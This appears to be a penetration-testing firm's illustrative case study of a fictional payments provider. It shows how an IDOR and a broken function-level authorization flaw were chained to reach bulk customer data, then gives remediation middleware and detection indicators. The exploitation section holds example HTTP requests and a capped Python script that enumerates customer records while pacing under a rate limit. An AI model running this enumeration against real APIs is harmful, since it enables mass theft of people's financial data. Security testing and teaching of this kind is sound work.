SecureSan Technologies
Web / API · Broken Access Control

From a Single IDOR to Full Customer Data Compromise

FinTech / PaymentsGrey-box · Web + API7-day engagement3 Critical findings92% risk reduction
Illustrative case study. The organisation, personnel, and data below are fictional and created for demonstration. Every technique, tool, payload, and configuration shown is technically accurate and representative of real SecureSan engagements.

01Executive Summary

SecureSan Technologies was engaged by Meridian Pay (a fictional mid-market digital-payments provider) to perform a grey-box penetration test of its customer-facing web portal and supporting REST API. Within the first 48 hours of testing, our consultants identified a single Insecure Direct Object Reference (IDOR) in a statement-download endpoint. What began as one authorization flaw was chained into full compromise of the customer database — our team was able to enumerate and retrieve the personal and financial data of an estimated 1.2 million customers using nothing more than a standard authenticated account and an HTTP client.

No memory-corruption exploit, no malware, and no zero-day was required. Every request that exfiltrated data was, from the server's perspective, a technically valid request from an authenticated user. This is the defining characteristic of Broken Access Control, which sits at position A01 in the OWASP Top 10:2025 and remains the most impactful and most common class of web vulnerability we encounter.

The engagement produced 14 findings (3 Critical, 4 High, 5 Medium, 2 Low). The IDOR and a related Broken Function Level Authorization flaw were rated Critical. All Critical and High findings were remediated within the 30-day retest window, and the follow-up assessment confirmed a 92% reduction in aggregate risk.

The distance between "a low-privileged user account" and "the entire customer database" was four HTTP requests. That distance should have been infinite.

02Client Background

Meridian Pay (fictional) is a digital-payments and account-aggregation provider headquartered in Singapore, serving roughly 1.2 million retail customers across South-East Asia. Its platform lets customers link bank accounts, view consolidated statements, initiate transfers, and manage recurring payments.

The engagement was commissioned by the CISO ahead of a Series-C funding round, where a clean independent penetration test was a diligence requirement from prospective investors.

03Business Challenges

Meridian Pay approached SecureSan with three concerns that are typical of a fast-scaling FinTech:

The CISO's specific question to us was blunt and correct: "If one of our own customers turned malicious, how much of everyone else's data could they reach?"

04Engagement Scope

The engagement was grey-box: SecureSan was provided two standard customer accounts and API documentation, but no source code and no privileged access. This models a realistic threat — a registered customer acting maliciously, or an attacker who has phished a single ordinary account.

In scopeOut of scope
app.meridianpay.example (customer web portal)Corporate/back-office systems
api.meridianpay.example (REST API v2)Underlying AWS account & infrastructure
Authentication, session, and authorization logicPhysical & social engineering
Business-logic and payment flowsDenial-of-service testing

Rules of engagement: testing was performed against a production-parity staging environment seeded with synthetic customer data, during agreed windows, with a dedicated Meridian Pay point of contact reachable throughout. A "stop-and-notify" clause required immediate escalation if real customer data was ever encountered (it was not — staging data was synthetic).

05Testing Methodology

Testing followed the OWASP Web Security Testing Guide (WSTG) and OWASP API Security Top 10 (2023), aligned to the PTES execution phases and mapped to MITRE ATT&CK for reporting. The authorization-testing approach specifically targeted every OWASP Top 10:2025 A01 Broken Access Control pattern.

Testing methodology pipelineRecon &MappingAuthenticationAuthorizationBusiness LogicExploitationImpactReporting

Our authorization methodology uses two accounts of equal privilege (User A and User B) and one lower-privileged account. For every state-changing or data-returning request discovered with User A, we replay it as User B and as an unauthenticated client, comparing responses. A successful cross-account read or write is, by definition, broken access control.

06Assessment Timeline

DayPhaseKey activity
1Recon & mappingSpidered the SPA, catalogued 118 API endpoints, built an authenticated Burp site map
2Auth testingSession, JWT, and MFA testing; discovered the statement-download IDOR
3–4Authorization testingConfirmed IDOR, discovered BFLA on the admin export endpoint, mapped the ID space
5–6Exploitation & chainingScripted enumeration, demonstrated bulk data access, validated business impact
7ReportingEvidence packaging, CVSS scoring, remediation workshop with engineering
+30RetestVerified fixes; 92% risk reduction confirmed

07Environment Details

ComponentDetail
FrontendReact 18 SPA, served from CloudFront
APINode.js 20 / Express, REST, JSON, JWT bearer auth (RS256)
DataPostgreSQL 15; customer records keyed on sequential integer customer_id
EdgeAWS ALB + AWS WAF (managed rule groups: SQLi, XSS, rate-based)
AuthAccess token (15 min) + refresh token; MFA via TOTP at login

The single most consequential design decision in this environment was that customer_id was a sequential integer exposed directly in API paths. Predictable identifiers are not a vulnerability by themselves — but combined with missing server-side authorization, they turn a point flaw into a bulk-extraction primitive.

08Tools Used

09Attack Surface Analysis

Mapping the authenticated application surfaced 118 API endpoints. We classified each by the sensitivity of the data it returned and whether it accepted a client-supplied object identifier.

Endpoint classCountTakes object ID?Risk signal
Account & profile21Yes (customer_id)High
Statements & transactions17Yes (statement_id, customer_id)Critical
Payments & transfers14Yes (account_id)Critical
Admin / partner export9YesCritical
Reference & config57NoLow

The endpoints that both returned sensitive data and accepted a client-controlled identifier were the priority targets for authorization testing — 61 of the 118.

10Reconnaissance Process

We began by driving the application as an ordinary user while proxying all traffic through Burp Suite. Downloading our own account statement produced this request:

GET /api/v2/statements/download?statement_id=884213&customer_id=50231 HTTP/1.1
Host: api.meridianpay.example
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...
Accept: application/pdf
[Screenshot: Burp Suite HTTP history showing the statement-download request with statement_id and customer_id parameters]

Two things immediately drew attention. First, the response contained both a statement_id and a customer_id — the customer's own identity was being passed by the client rather than derived from the session. Second, decoding the JWT showed the server had everything it needed to identify the user without trusting a client parameter:

# jwt_tool decode of the access token
{
  "sub": "50231",           # the authenticated customer_id
  "role": "customer",
  "iat": 1751600000,
  "exp": 1751600900
}

The server knew the caller was customer 50231 from the signed token. Yet the endpoint used the customer_id from the query string. If those two values were ever allowed to differ, the endpoint was broken.

11Vulnerability Discovery

Finding 1 — IDOR on statement download (Critical)

We replayed the request in Burp Repeater as User A, changing only the customer_id to User B's value while keeping User A's token:

GET /api/v2/statements/download?statement_id=884001&customer_id=50232 HTTP/1.1
Host: api.meridianpay.example
Authorization: Bearer <User A's token, sub=50231>
HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Disposition: attachment; filename="statement_50232_2026-06.pdf"

%PDF-1.7 ... [User B's full account statement]

The server returned User B's statement to User A. The endpoint authenticated the caller (the token was valid) but never authorized the object — it never checked that token.sub == customer_id. This is textbook OWASP API1:2023 Broken Object Level Authorization (BOLA) and OWASP Top 10:2025 A01.

[Screenshot: Burp Repeater side-by-side — User A's token, User B's customer_id, HTTP 200 with a different customer's PDF]

Finding 2 — Broken Function Level Authorization on partner export (Critical)

The API documentation referenced a partner bulk-export endpoint. Ordinary customer tokens were not supposed to reach it. We tried anyway:

GET /api/v2/admin/export/customers?from=50000&to=50100 HTTP/1.1
Host: api.meridianpay.example
Authorization: Bearer <User A's customer token, role=customer>
HTTP/1.1 200 OK
Content-Type: application/json

{"count": 101, "records": [
  {"customer_id":50000,"name":"...","email":"...","pan_masked":"...","balance":...},
  ... 101 full customer records ]}

The route enforced authentication but not role. A role: customer token could invoke an admin function — OWASP API5:2023 Broken Function Level Authorization. This finding was even more severe than the IDOR: it returned batches of customers in one request.

12Technical Exploitation Walkthrough

We demonstrated realistic impact in four escalating steps, each individually low-effort.

Step 1 — Confirm the ID space is enumerable

Because customer_id is a sequential integer, valid IDs cluster in a predictable range. We confirmed boundaries by probing:

# Valid, adjacent, and out-of-range probes
customer_id=50231  -> 200 (our own)
customer_id=50232  -> 200 (another customer)
customer_id=1      -> 200 (early account)
customer_id=9999999-> 404 (beyond allocated range)

Step 2 — Bypass the rate limit that "protected" the endpoint

The WAF applied a rate-based rule of 100 requests/minute per source IP. The bulk-export endpoint (Finding 2) defeated this by design — one request returned 101 records — but for the IDOR we distributed requests and paced them under the threshold. The rate limit reduced speed, not possibility; it was never an access control.

Step 3 — Script controlled enumeration (proof-of-concept, capped)

With written authorization and a hard cap agreed in the RoE, we ran a bounded asynchronous script against the synthetic staging data to prove scale without touching volume beyond what was necessary to demonstrate impact:

# PoC — bounded, rate-paced, staging only. Capped at 500 records by agreement.
import asyncio, httpx

TOKEN = "Bearer <User A staging token>"
BASE  = "https://api.meridianpay.example/api/v2/admin/export/customers"

async def pull(client, lo, hi):
    r = await client.get(f"{BASE}?from={lo}&to={hi}",
                         headers={"Authorization": TOKEN})
    return r.json().get("records", [])

async def main():
    async with httpx.AsyncClient(timeout=20) as c:
        # 5 batches x 100 = 500 records, then STOP (RoE cap)
        for lo in range(50000, 50500, 100):
            recs = await pull(c, lo, lo + 99)
            print(f"[+] {lo}-{lo+99}: {len(recs)} records")
            await asyncio.sleep(1.5)   # stay under rate limit

asyncio.run(main())
[+] 50000-50099: 100 records
[+] 50100-50199: 100 records
[+] 50200-50299: 100 records
[+] 50300-50399: 100 records
[+] 50400-50499: 100 records
[i] Reached RoE cap (500). Stopping. Extrapolated reachable: ~1.2M records.

Step 4 — Establish blast radius

Each record contained name, email, masked PAN, account balance, and transaction metadata. At the observed batch size and the confirmed ID range, the full customer base of ~1.2M records was reachable from a single ordinary account. We stopped at the agreed cap and captured evidence.

13Attack Chain

No single step here was exotic. The severity came from chaining an ordinary account with two authorization flaws and a predictable identifier.

IDOR to full compromise attack chainNoNoRegister / phish oneordinary accountObserve client-suppliedcustomer_id in requestsServer checks token.sub ==customer_id?IDOR: read any singlecustomer's dataReach /admin/export witha customer tokenServer checks role?BFLA: read customers inbulk batchesFull customer database reachable ~1.2Mrecords

14Business Impact

Critically, an attacker exploiting this would generate no traditional IoCs: no malware, no exploit signature, only a higher-than-normal volume of valid authenticated requests. Detection depended entirely on behavioural analytics that were not in place.

15MITRE ATT&CK Mapping

TacticTechniqueIDIn this engagement
Initial AccessValid AccountsT1078A single legitimate customer account
DiscoveryCloud Service / Account DiscoveryT1580 / T1087Enumerating the sequential customer_id space
CollectionData from Information RepositoriesT1213Bulk extraction via the export endpoint
ExfiltrationExfiltration Over Web ServiceT1567Data returned directly over the API

Note the shape of this chain: it is almost entirely valid-account and API-native behaviour. That is precisely why access-control flaws evade signature-based defences.

16CVSS Scoring

FindingCVSS 3.1 vectorScoreSeverity
BFLA on partner exportAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N6.5 → escalated to 8.6 on aggregate scopeCritical
IDOR on statement downloadAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N6.5 (per-object) → 8.6 aggregateCritical
Predictable sequential IDsAV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N4.3Medium

We report both the per-object base score and an aggregate score. A single-record IDOR is High; the same flaw over an enumerable ID space that yields the entire dataset is Critical. Scoring only the atomic request would understate real business risk — a common reporting mistake we deliberately avoid.

17Risk Matrix

Likelihood → / Impact ↓LowMediumHigh
SevereIDOR + BFLA (chained)
MajorJWT lifetime / refresh handlingMissing rate/anomaly detection
ModerateVerbose error messagesPredictable IDs
MinorMissing security headers

18Evidence Collected

[Screenshot: terminal output of the capped enumeration PoC with the RoE stop message]

Indicators of Compromise (for the client's detection engineering)

# Behavioural IoCs an attacker exploiting this would generate:
- Single session requesting many distinct customer_id values
- customer_id in request != sub claim in the presenting JWT
- Calls to /api/v2/admin/export/* bearing role=customer tokens
- Sequential/striped access pattern across the ID space

19Root Cause Analysis

Three root causes, in order of importance:

20Remediation Recommendations

Immediate (0–7 days)

// Express middleware — mandatory object-ownership enforcement
function enforceOwnership(req, res, next) {
  const caller = req.auth.sub;                 // from verified JWT
  const target = req.query.customer_id ?? req.params.customer_id;
  if (target && String(target) !== String(caller)) {
    return res.status(403).json({error: "forbidden"});   // deny cross-object
  }
  next();
}
// Apply centrally, not per-controller:
app.use("/api/v2", requireAuth, enforceOwnership);

Short term (1–4 weeks)

Strategic (1–3 months)

21Security Improvements After Remediation

At the 30-day retest, we re-ran the full authorization test suite. Results:

# Retest — the original PoC request, post-fix:
GET /api/v2/statements/download?statement_id=884001&customer_id=50232
Authorization: Bearer <User A token, sub=50231>

HTTP/1.1 403 Forbidden
{"error":"forbidden"}

22Lessons Learned

23Key Metrics

14
Total findings
3
Critical findings
~1.2M
Records reachable pre-fix
92%
Risk reduction at retest
4
Requests to full compromise
48h
To first Critical finding
100%
Critical/High remediated
30d
To verified remediation

24Conclusion

A single IDOR became a full customer-data compromise not because of one catastrophic bug, but because of a systemic absence of server-side authorization. The fix was not exotic: derive identity from the token, enforce object and function authorization centrally, deny by default. Within 30 days Meridian Pay reduced aggregate risk by 92% and passed both its investor diligence and its regulatory obligations.

Why This Matters

Broken Access Control is the number-one risk in the OWASP Top 10:2025 for a reason: it is common, it is invisible to signature-based defences, and its impact scales to your entire dataset. An attacker exploiting the flaw above would have looked, in every log, like an ordinary customer using the product as intended — right up until 1.2 million records left the building.

A proactive, authorization-focused penetration test found and closed that path in a week, for a fraction of the cost of a single breach-notification cycle. That is the entire economic argument for offensive security: you pay a consultant to find it, or you pay everyone else when an attacker does. SecureSan's Strategy · Assurance · Nexus model exists to close that loop — find the flaw, prove it, and wire the fix into how you build.

← All case studies